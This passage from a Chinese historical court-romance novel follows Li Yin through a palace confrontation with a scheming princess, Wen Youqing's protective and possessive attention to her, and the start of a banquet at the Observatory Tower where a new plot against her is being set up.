脚步声变得大了,四周更安静了,不觉树摇婆娑,连树影也不再晃了,四周只余下了悠然的脚步声。
还是宫人行礼喊道:“见过五皇子殿下。”
处在各自位置上的女眷这才立刻起身,转身对着一位穿着紫色衣袍的男子行礼,那人剑心眉目,浓眉如墨,眉宇间带着几分帝王皇家的威严,他轻轻抬手,动作轻缓,面不露笑,给人以不怒自威之感。
众人行礼后,便都笔直的站着,等着这位皇子的发落。
在这位皇子身后还跟着一群人,那些人都京城中的世家大族的高门子弟,人人皆可叫得出名堂来,人人的面相都是姣好,但在一群面容出挑人中最为惊艳的还是温幽情。
这人时常笑着,气质温润,面相如玉,体态如松,品性如竹,实在是众多女眷眼中的所谓“良人”。
顾思见着人群中的温幽情时眼睛便直了,她的眼神中透露着仰慕,直勾勾的看着温幽情,但又生怕被人所察觉,便只是偷偷瞧上几眼后便立即低下头在心中回味,勾唇一笑。
赵俭销在不远处停下了步子,见着眼前,紫衣少女恭敬的对着他同父异母的妹妹磕着头,嘴里轻轻念叨着,他听了大概,也明白了些。
方才闻见那一声清脆的响声就觉不对,赵怜映的言行他也太过熟悉,皇家人不吃败仗,但“加害”,“被打”都很有辱皇家形象,“自残”就将责任无形的与皇家分了开,推给了道平一人。
他平时对这个妹妹也是睁一只眼闭一只眼的,可今天偏不巧的闹到了他的面前,加害,也只会用此种低劣的手段,真是和她的母亲一样蠢透了,真是不知她们是怎么活下来的。
赵俭销缓步上前拉起了李隐的胳膊,将她扶起,道:“姑娘莫要和小妹一般计较,小妹孩童心性都是被我等宠坏了,姑娘切莫往心中去。”
李隐低着头,垂着眼眸,盯着赵俭销落在她胳膊上的那只骨节分明的手,强忍着心中的不适,这才没有将手臂直接收回。
头上传来一痛,鲜血顺着额头上破皮的地方,缓缓落下,温热,湿润,浓稠的液体缓缓的爬着,落下三指距离,李隐就不适的抬起了头。
她本就如画中仙般,眉黛如绵山,脸上的巴掌印也消散了些,颜色浅,远看倒像粉黛,眼角不知何时已见了红,含泪欲落不落,眼波流转,脉脉含情,饶是对美人早已司空见惯的赵俭销也是心中一惊。
他的手指微动,一下子就有了将要向下摸向李隐的意思,只是他关节先动,伴随着一声“唰”一柄镶嵌着玉石的扇子瞬间打开隔在了二人面前。
温幽情将赵俭销搭在李隐手上的手一拿开,便站在了二人中间道:“五皇子殿下,这人是温府的,不属皇家。”
赵俭销,收回了手,一笑道:“这是皇家的苑子,将来也有可能是某个人的苑子。”
他这话的言下之意,点明自身,此地皇家,他是皇家人,也是暗示,这温家再大也不可大过皇权,而后半句是则是表露野心,表面上是道某个人,可这指的依然是他,也是暗示,如若温家要站队,便也要表明心意,稍做意思。
而在场的世家子都不是所谓的酒囊饭袋,从小接受的理,熟读的诗书,都不是装裱,而是教他们如何晓话中有话,听弦外之音。
这里的话外话,他们都听懂了,但面不显露,装作不明,只听着温幽情,好奇他的表态。
温幽情闻言,淡淡一笑,道:“温家不与党争,五殿下这是忘了这话了?怎么岁数比我大还记性比我差呢。”
赵俭销面上笑容一僵,他道:“只是一时忘却,对此话,还是记得的。”
地上半跪在此赵怜映见着,赵俭销扶起李隐时心中先是一气,但在她见到赵俭销看到李隐时那一时惊喜玩味的眼神时,她又不由的笑了,这样只是便宜她的皇兄了,不过于她而言却是极为有利的,可偏偏就是出现了一人,温幽情。
从来不喜热闹的他,今日怎会来此,还为一个女人出头,这人也不过是一个弹丸之地的商贾之女哪里比得上她的身份和地位,凭什么选她而不择她,凭什么。
不甘如浪,层层漫漫,堆叠在了一起,层层密密,像极了海啸的征兆,苦水漫漫,漫至心尖。
她缓缓起了身,一把拔下了头上的发簪,放轻步子,慢慢走近,对着李隐脖子刚要狠狠的扎下去就被人一把握住了手腕,那人动作很快,“唰”的一声迅速收了扇子,以扇柄轻轻碰到李隐的腰间,将李隐送前了半步,虚虚环住。
温幽情又向前的半步一把抓住了赵怜映的手腕,看向她的眼神中略带嫌弃,这一计眼光如同刀子,赵怜映被一把甩开,她面露惊慌,连忙说道:“不是的,温哥哥,不是这样的,我没有想过要害她的。”
李隐抬头看着温幽情,鼻尖再次萦绕着淡淡的苦药香,闻着苦涩但却让人感到一股莫名的安心。
额间的血落到了眉心,一只手替她轻轻拂过,温幽情低头看着她,看着她额头上的伤,眼中情绪复杂。
温幽情拉住李隐的袖子,对着赵俭销道:“五皇子殿下,失陪了。”他的话说的客套,但走时却是拉着李隐头也不回的走了,行为嚣张但也没有宫人敢拦。
李隐被他拉着走,绕了一圈的路,走到了一处苑子,院子中有着石椅石凳,石头光洁干净,一看就知是有人打扫过的。
他拉着李隐坐下,随后从袖口里拿出了一瓶伤药,他问道:“姑娘是想让
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我来,还是姑娘自己来。”
李隐刚想答话,这人便走了过来,沾着药水的指尖便轻轻碰上的李隐额头,他道:“姑娘受伤还是我来吧。”
李隐心下无语,伸手去抓温幽情的手,可温幽情却不顺着她故意使绊子,两相争夺之下,李隐的手碰到了自己额头的伤处,她疼的“嘶”了声。
温幽情闻言手上的动作轻了轻,他调侃道:“原来姑娘也是知道疼的,我还以为姑娘不知呢。”
话落他拿出了一张白色丝帕,轻轻擦了擦李隐额头上的血落时残留的血迹。红血白布,如雪中红爪,很是显眼,他轻轻将之收好。
李隐道:“我何时说过我不知?”
温幽情涂完最后一点药后,道:“赵怜映不过是自扇了一巴掌,你就磕破了头。”
李隐闻言笑了,她道:“我若不做此,该如何?是也自扇,还是扇她再编造谎言,被宫人道破。”
温幽情将手递到了李隐的手边道:“借势,温家人的身份挺好用的。”
李隐闻言微微挑眉,她道:“无人信我,再者温家于我而言还不熟。”话落她看向了温幽情递过来的手,道:“这是?”
“你方才不是想抓吗,现在可以抓了,我不躲。”温幽情边说着边看着李隐,话落垂下了眼眸。
李隐见着眼前修长的骨节分明的手时,一时倒也被他逗笑了道:“我方才只是想抓药而已,并非是你的手。”
温幽情闻言将手默默的收了回去,他依旧低垂着眼眸,温声道:“姑娘,你会不会怪我,没有告诉你我姓温。”他这话说的小心翼翼的,似生怕李隐生气了。
李隐果断一句“当然。”不过她顿了一下便继续道:“不过,也不能全然怪你,是我未曾问你,你对我倒也没有说谎,在我听到你对温公子的夸赞时我就已经有所怀疑了。”
温幽情默默的听着,随后抬眸对着李隐一笑道:“姑娘,好生聪敏。”
让我更喜欢了呢。
李隐被这样一夸,顿时有些不好意思了,也不知该说什么了,只是干看着温幽情,但在对上温幽情那包含柔情的眼时,她直接撇过了头。
温幽情见此,轻勾唇角,风来轻拂,树叶沙沙,影子轻晃,阳光从细缝之中而落,散在了李隐的身上,勾勒裙摆的金丝闪烁着,光层层漫,温幽情没有看李隐的脸而是盯着裙子,随后道:“等会,正式开宴,衣角已脏,该换掉了。”
李隐看向了温幽情,只见温幽情垂眸看着,看不清眼底的神情,她道了句“好。”
说了这句后,温幽情便起了身,转身离去了,走在路上,手指不停的摩挲着有着红血的丝绸布,修长的手指轻轻绕着丝绸布,细细擦过,轻轻把玩,嘴角含笑。
李隐,你还局中。
李隐。
李隐,我的夫人,我们快要成亲了,我好生期待啊。
拐角遇到熟人,穿着紫衣的赵俭销,温幽情心中只觉晦气,便将手中的东西拾好,藏在袖口,面上恭敬的对着赵俭销道了句“见过五皇子殿下。”
17. 观星高楼
赵俭销一笑道:“温兄,方才为何?”他话未说全只是道出了半句,温幽情闻言,眉头微挑,微微勾唇道:“温家不与党争,五皇子,是记不住?”
赵俭销闻言,面色一变,有也发白他道:“那,温兄为何要来此?”难不成真是为了那个美人?这话若是说给其他人听听倒也罢了,但说给他听,他是一定不会信的,温家的人都是什么样的他比谁都要清楚,毕竟宫里的那位就是活生生的例子。
温幽情听此一笑道:“殿下,不是早就猜到了?”
闻此,赵俭销的面色更白了三分,额头上都出现了细密的汗珠,他略为吃力的吞咽了口口水,心想的是,完了。
他本以为温幽情能来就是要站他的意思,给他一个脸面,却没想到这是单单为了一个女人,一个姿色姣好的女人,更要命的是他还当着温幽情的面起过心思。
他思虑一会便脱口道:“温公子,我方才对李姑娘,不是那个意思的。”话落他看向了温幽情,温幽情只是浅浅一笑,道:“殿下的那个意思,是哪个意思啊”
说着他凑近了些,以二人可以听到的声音道:“殿下,日后还是好好管管自己的下半身吧,精虫上脑容易糊涂呢。”
汗水顺着赵俭销的面颊落下,“啪嗒”一声落到地上,他的心也在此时以相同节律跳着,提到了嗓子眼,又狠狠的落下,温幽情的这话,算是给他一个警告了。
但他总觉得像温幽情这样,肚里有计谋,心中有城府,脑中有言辞的一个人,是绝对不会因为一个女人,而做出改变打破常规的,温家势力大,温家人心眼多,如今这个紊乱的局面,温家一定在等着时机下着一盘棋,怀胜落子,落子无悔。
赵俭销眼神空洞的看着面前的树,思绪飘着,温幽情一笑,轻轻拍了拍赵俭销的肩膀,赵俭销连忙回过神来,尴尬一笑。
温幽情便收回了手,绕开人,提步抬脚,转身便走,路过拱门,叶落扫衣肩,温幽情抬手轻拂,孤空绕道,好一会儿,才叶落至地。
叶呈现圆形,远远看去倒是和那颗苑子里大树一样风过,叶轻摇。在苑子里的李隐正抬头看着棵沙沙作响的树,树影斑驳,投在地上,明暗交叠,轻轻晃悠。
李隐只是刚等一会,一个人就着急蛮荒的走了过来,她虽步子如风,衣角翻飞,但行路时的动作却是挑不出一点不雅,一丝错处,整体利落又端庄。
雨书疾步来到李隐的身边,将手上端着的衣物放到桌上,见着李隐头上涂着药已不明显的伤时,她更凑近了些,想看的更仔细,她道:“是哪个不长眼的人,敢欺负姑娘,天下还有比道平还刁蛮的人吗?”
她说的很快,很急,眼中吐露真情的关切,李隐心中一软,便轻轻拍了拍雨书的手道:“我没事,一点小伤而已。”
雨书闻言反握住李隐的手,她道:“小伤?姑娘,这可不是小伤,温家的人不是谁都可以欺负的”她忽儿想到什么,轻声道:“是道平干的?”
李隐闻言,道:“是我自己磕的,这一切都只是我的安排,你不必担心我有分寸。”
雨书眉头微皱,嘟囔道:“姑娘,都把自己伤着了,还叫有分寸。”
李隐闻言轻挑眉头,她抬手轻轻摸了雨书的头道:“伤人有代价,我若想伤她也,必然要付出一番代价,因有果,我要果便也要种因。”
雨书听着李隐说话绕绕的,捋了捋才道:“姑娘,道平早就被这里道人所厌了,这还不算因吗?”
“这是果,是她娇纵的果。”她道,话落垂下眼眸,掩去眼底复杂的神情,她与赵怜映的因,追根溯源也只是她的一句话,可一句话换来了一百多条人命。
手指蜷缩握拳,指甲渗肉,落下深深的痕迹,小小的月牙,泛着红,透着血,仿佛再深些就可渗出血肉,宛如奔涌的恨意,表面覆着一层薄薄的壳,壳脆弱,易碎,里面的东西仿佛下一刻就可喷涌。
疼痛让人清醒,李隐最终还是松了手,稀碎的阳光透过枝缝,悄然落下,落在了李隐的身上,让人倍感暖和,像是一句无声的安慰,她抬眸对上了雨书那关切眼,她轻轻一笑道:“你怎么这么容易被我骗着呢,方才我只是在装,想炸炸你罢了。”
雨书不语,点了点头,她方才看到李隐握紧了拳,多半是想到了一些不好的事,事不好就让它慢慢被淡忘好了,不必再提,也不必再想起,就让它悄然溜去吧。
她拉起了李隐的手,鬼使神差的轻轻揉了揉,触到了深浅不一的下月牙,她没有做声而是道:“姑娘的手真好看,适合练剑,也适合拿笔提字,如此宝贵,切莫伤着了。”
李隐闻言一笑道:“好。”
雨书说完了话,就将桌上的东西端了起来,她道:“公子吩咐了,让姑娘换身衣服,再好好休息会。”
李隐刚想询问去哪换衣服,休息时,就见雨书一手抬着东西,一手推开了这间苑子房中的门。
这可是在皇家地,温家在此处也有地,多半是贵人赐的一个可在此处歇脚的恩令,若不是经常出入皇宫之中,那便也用不上,她跟着走了进去,还顺便问道:“温家,这几年时常,入宫?”
雨书点了点,将手中的盛着衣裳物件轻轻放在金丝楠木相刻的桌上,桌子上还摆置着一些玉石玩物,这些物件,赏玩性高,玩者雅性,李隐一下子就想到了温幽情。
她拿起了一只雕刻精美的小核舟,手上关节微动,轻轻敲下两下,雨书看着李隐做着与温幽情一样的喜欢做的动作,眼中对李隐更多了些赞赏,李姑娘和主子还真是像,想到这她轻轻一笑。
直到李隐将核舟放下,她才道:“姑娘,该换衣了。”李隐由着雨书打扮着,原是说着换衣,可雨书又觉得换了衣裳发髻有些不搭,便重新盘了一个。
李隐任由雨书管着,时
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不时夸赞几句“还是你手巧。”雨书便更加卖力,为李隐仔细打扮着,一套下来倒是磨蹭了一个时辰,眼见外面的太阳大了些,雨书这才反应过来。
她略带歉意的说道:“姑娘,时辰快到了。”李隐点了点头道:“我本就无休憩的意图,与你一起相谈倒也是一种放松。”
雨书将最后一缕头发梳好,便将铜镜递了出去,镜中人,面容有着出水芙蓉般的清丽,又眉间柔中带刚如竹直洁。
李隐等着雨书将东西收拾好后就起身出了门,门口正等着一位嬷嬷,嬷嬷衣着华丽,锦缎金丝,头戴珠钗,她先是上下打量了李隐一番,随后笑着颇为满意的点了点道:“李姑娘,请吧。”
话语气足,字顿铿锵,吐字不怒自威,眉眼大气,眼神伶俐有神,是个颇有地位的宫中人,多半也是温家在宫中的那位贵人派来的。
李隐心中的猜测在这人打量自己时,便已经明了了,温家有人在宫中,且地位不低,多半是天子身边红人。
嬷嬷路走的很慢,走的刻意,雨书也不敢怒,只是看了眼李隐见李隐没有丝毫不快,她才收回目光。
走了好一会,她们才到,入眼的先是高楼名观星,金漆墨字,黑匾牌额,显着独属于皇家的尊严与傲慢,抬脚跨过门槛,步入殿中。
殿中玉石砌砖,珍珠挂帘,珠珠串串相互绕着,桌子整齐,青烟弥散,白纱帷帆,轻轻动着宛若云般,悄悄卷疏。
嬷嬷将人带到了二楼,后还亲自为李隐指好了位置,恭敬的道了句“请。”待李隐落座后,她才转身离去。
这层在李隐来时,已经坐好了人,只留下了三个空位,原本只是有几人絮叨的地方,见到了那位嬷嬷后,顿时变得闻可落针般。
在见到李隐后,她们心中更是一惊,这人,换了身浅色的衣裳似乎更好看了。
赵怜映手指紧紧的搅着帕子,在脑海中演过的话,也全都卡在了喉咙里,嬷嬷面前她不能失仪,可她堂堂公主,来这时,都无人引领,可这人凭什么有,心中泛着苦涩,咬着牙瞪着李隐的一举一动。
李隐入座后见着赵怜映只是勾唇一笑,赵怜映见状,手上的力道更大了些。
“咚——咚——”有规律的几声钟鼓声响绕着观星楼转着,绕着,不一会,便有宫人端着东西,缓步走上。
赵怜映坐在高台,盯着李隐身旁将要布菜的人。那人小心翼翼的将盛着东西的琉璃盏摆上桌面后,转身起来离去时与赵怜映刚好眼神相对,那人轻点头,赵怜映便勾唇一笑。
好戏,将要上演了。
李隐,我今日势必会让你身败名裂,被温家扫地出门,离开,我的温哥哥。
李隐闻到了自己的菜食中有着一丝浅浅的药香,但是,却不是毒药相反的是还是解毒药,李隐微微挑眉,这是闹的哪一出呢。
赵怜映,你还想玩玩什么把戏。